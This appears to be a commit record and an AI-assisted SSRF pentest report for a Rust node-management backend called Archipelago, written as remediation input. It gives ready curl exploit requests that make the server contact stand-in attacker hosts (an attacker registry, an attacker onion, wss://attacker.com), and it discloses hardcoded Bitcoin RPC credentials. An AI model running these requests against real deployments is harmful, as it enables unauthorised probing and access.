Dorian 6623dbc4ab chore: add security pentest reports and remediation plan
Overnight pentest run produced recon, analysis, exploitation reports,
and a full security assessment. Plan.md updated with 22 prioritized
fix items for auth, SSRF, injection, XSS, and hardening.

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
2026-03-06 03:08:14 +00:00

10 KiB

The backend appears to be down currently. The analysis is based on thorough source code review. Let me compile the full findings.


SSRF Vulnerability Analysis — Archipelago

Summary

I analyzed the entire codebase for SSRF vulnerabilities across the Rust backend (core/archipelago/), nginx configuration, Vite dev proxy, and the core/startos/ (inactive) codebase. The active backend has 3 confirmed SSRF vectors and 1 dormant but critical one in unreachable code.


SSRF-001: Blind SSRF via node-check-peer (Missing Onion Validation)

Type: Direct SSRF via Tor SOCKS5 proxy
Location: POST /rpc/v1 → method node-check-peer
Parameter: onion
Source file: core/archipelago/src/node_message.rs:115-133
RPC handler: core/archipelago/src/api/rpc/peers.rs:69-80

Evidence: check_peer_reachable() accepts the onion parameter and constructs an HTTP URL without calling validate_onion(), unlike send_to_peer() which does validate. The function:

  1. Takes any string as onion (line 115)
  2. Appends .onion if needed (lines 116-120)
  3. Constructs http://{host}/health (line 121)
  4. Sends via socks5h://127.0.0.1:9050 Tor proxy (lines 122-127)
  5. Returns boolean success/failure to the caller (line 130)

Since there's no validation, an attacker can inject port numbers and URL components. For example, onion: "validbase32chars.onion:9999" results in a request to port 9999. The socks5h:// protocol delegates DNS to Tor, and the response status is leaked via the boolean.

Additionally, this endpoint has zero authentication and CORS wildcard (Access-Control-Allow-Origin: *), enabling drive-by SSRF from any website.

Confidence: HIGH
Suggested exploit:

curl -X POST http://TARGET/rpc/v1 \
  -H 'Content-Type: application/json' \
  -d '{"method":"node-check-peer","params":{"onion":"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"}}'

Response {"result":{"reachable":true/false}} confirms the server made an outbound request via Tor to the specified .onion address.


SSRF-002: SSRF via node-send-message (Validated but Still Exploitable)

Type: Direct SSRF via Tor SOCKS5 proxy
Location: POST /rpc/v1 → method node-send-message
Parameter: onion
Source file: core/archipelago/src/node_message.rs:66-112
RPC handler: core/archipelago/src/api/rpc/peers.rs:50-67

Evidence: send_to_peer() calls validate_onion() (line 67), which checks: 56 chars of base32 (a-z2-7). This limits the SSRF to valid Tor v3 onion format, but:

  1. Any valid-format onion address gets an HTTP POST with a JSON body (lines 74-79)
  2. The request includes the node's own public key in the body (from_pubkey)
  3. The response error messages are returned to the caller, leaking connection details
  4. No rate limiting — can probe many .onion addresses rapidly

The validation prevents port injection but NOT arbitrary .onion targeting. An attacker can force the server to POST to any Tor hidden service.

Confidence: HIGH
Suggested exploit:

curl -X POST http://TARGET/rpc/v1 \
  -H 'Content-Type: application/json' \
  -d '{"method":"node-send-message","params":{"onion":"ATTACKER_ONION_56_CHARS","message":"probe"}}'

SSRF-003: LND REST Proxy — Unauthenticated Internal Service Access

Type: Internal service proxy / partial SSRF
Location: GET /proxy/lnd/{path} on port 5678
Parameter: URL path after /proxy/lnd
Source file: core/archipelago/src/api/handler.rs:158-188

Evidence: The handler strips /proxy/lnd from the path and constructs http://127.0.0.1:8080{suffix}, then performs reqwest::get(&url) and returns the full response including body and Content-Type. The host is hardcoded to 127.0.0.1:8080, so this is limited to accessing localhost port 8080.

Key concerns:

  • No authentication on the proxy endpoint
  • Full path control — any LND REST API endpoint is accessible
  • Response body returned — not blind, the attacker gets full response content
  • Port 8080 is shared: LND REST API AND the endurain app run on this port (per nginx config)
  • Backend binds to 0.0.0.0:5678 by default (config.rs:193), though the proxy through nginx serves SPA HTML instead (nginx falls through to try_files)

Confidence: MEDIUM (host is hardcoded; exploitability depends on whether port 5678 is directly reachable or if nginx can be configured to proxy this path)
Suggested exploit:

# Direct to backend (if port 5678 is reachable)
curl http://TARGET:5678/proxy/lnd/v1/getinfo
curl http://TARGET:5678/proxy/lnd/v1/balance/blockchain

SSRF-004: Container Image Pull — Arbitrary Registry Fetch

Type: Indirect SSRF via container registry pull
Location: POST /rpc/v1 → method package.install
Parameter: dockerImage
Source file: core/archipelago/src/api/rpc/package.rs:9-84

Evidence: The handle_package_install handler accepts a dockerImage parameter, validates it only against shell injection characters (is_valid_docker_image() at line 786), then runs podman pull {image} (line 60). The validation blacklist is:

let dangerous_chars = ['&', '|', ';', '`', '$', '(', ')', '<', '>', '\n', '\r'];

This allows arbitrary registry URLs like attacker.com/malicious:latest or registry.evil.com:5000/image:tag. The server makes HTTPS requests to the specified registry to pull manifest and image layers.

Confidence: HIGH
Suggested exploit:

curl -X POST http://TARGET/rpc/v1 \
  -H 'Content-Type: application/json' \
  -d '{"method":"package.install","params":{"id":"test","dockerImage":"attacker-registry.com/probe:latest"}}'

The server will connect to attacker-registry.com to pull the image, confirming outbound SSRF.


SSRF-005: Dormant Full SSRF in marketplace.get (Inactive Code)

Type: Full arbitrary URL fetch (NOT in active backend)
Location: core/startos/src/registry/marketplace.rs:38-92
Parameter: url (type Url — accepts any scheme/host)

Evidence: This is a critical SSRF — marketplace.get accepts a raw Url parameter and fetches it with the shared reqwest::Client, which has a Tor proxy for .onion addresses (core/startos/src/context/rpc.rs:222-231). No URL validation, no IP blocklist, supports http://, https://, potentially file://. Response content is returned in JSON/text/base64.

However, this module is in core/startos/ which is not compiled into the active core/archipelago/ binary (Cargo.toml has no startos dependency). The RPC route table in core/archipelago/src/api/rpc/mod.rs does not register marketplace.get.

Confidence: LOW (dormant code, not reachable on running server)
Note: If this code is ever wired into the active backend, it becomes the most critical SSRF in the system.


SSRF-006: Nostr Relay Connections — Config-Driven SSRF

Type: WebSocket SSRF via configuration
Location: POST /rpc/v1 → methods node-nostr-discover, node.nostr-publish
Source file: core/archipelago/src/nostr_discovery.rs:157-345

Evidence: Relay URLs from config.nostr_relays (populated from ARCHIPELAGO_NOSTR_RELAYS env var, default: wss://relay.damus.io, wss://relay.nostr.info) are passed to client.add_relay(url) without validation. When Tor proxy is configured (default: 127.0.0.1:9050), all relay connections route through Tor.

Not directly user-controllable via RPC (relays come from config), but if an attacker can modify environment variables or the config file, they can redirect Nostr connections to arbitrary WebSocket endpoints.

Confidence: LOW (requires configuration access)


Additional Observations

Factor Detail
CORS wildcard All backend responses include Access-Control-Allow-Origin: * (handler.rs:15), enabling drive-by SSRF from any website
No authentication RPC API has zero auth middleware — all SSRF endpoints callable by anyone on the network
Nginx proxy exposure /aiui/api/claude/ → Claude proxy (3141), /aiui/api/openrouter/ → OpenRouter API, /aiui/api/web-search → SearXNG (8888). These are fixed-target proxies, not user-controllable SSRF, but enable unauthenticated access to internal services
TLS verification disabled LND client uses danger_accept_invalid_certs(true) (lnd.rs:56)
Hardcoded credentials Bitcoin RPC: archipelago:archipelago123 (bitcoin.rs:89, electrs_status.rs:17)

{
  "category": "ssrf",
  "findings": [
    {
      "id": "SSRF-001",
      "type": "blind_ssrf_via_tor_proxy",
      "endpoint": "/rpc/v1",
      "parameter": "params.onion (method: node-check-peer)",
      "confidence": "high",
      "payload_suggestion": "{\"method\":\"node-check-peer\",\"params\":{\"onion\":\"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\"}}"
    },
    {
      "id": "SSRF-002",
      "type": "ssrf_via_tor_proxy_with_data_exfil",
      "endpoint": "/rpc/v1",
      "parameter": "params.onion (method: node-send-message)",
      "confidence": "high",
      "payload_suggestion": "{\"method\":\"node-send-message\",\"params\":{\"onion\":\"VALID_56_BASE32_ONION_ADDRESS\",\"message\":\"ssrf-probe\"}}"
    },
    {
      "id": "SSRF-003",
      "type": "internal_service_proxy",
      "endpoint": "/proxy/lnd/{path}",
      "parameter": "URL path suffix",
      "confidence": "medium",
      "payload_suggestion": "GET /proxy/lnd/v1/getinfo on port 5678"
    },
    {
      "id": "SSRF-004",
      "type": "ssrf_via_container_registry_pull",
      "endpoint": "/rpc/v1",
      "parameter": "params.dockerImage (method: package.install)",
      "confidence": "high",
      "payload_suggestion": "{\"method\":\"package.install\",\"params\":{\"id\":\"probe\",\"dockerImage\":\"attacker-registry.example.com/ssrf-canary:latest\"}}"
    },
    {
      "id": "SSRF-005",
      "type": "full_arbitrary_url_fetch",
      "endpoint": "marketplace.get (INACTIVE - startos codebase)",
      "parameter": "url",
      "confidence": "low",
      "payload_suggestion": "NOT EXPLOITABLE - code not compiled into active binary"
    },
    {
      "id": "SSRF-006",
      "type": "config_driven_websocket_ssrf",
      "endpoint": "/rpc/v1 (methods: node-nostr-discover, node.nostr-publish)",
      "parameter": "ARCHIPELAGO_NOSTR_RELAYS env var",
      "confidence": "low",
      "payload_suggestion": "Requires config modification: ARCHIPELAGO_NOSTR_RELAYS=wss://attacker.com/"
    }
  ]
}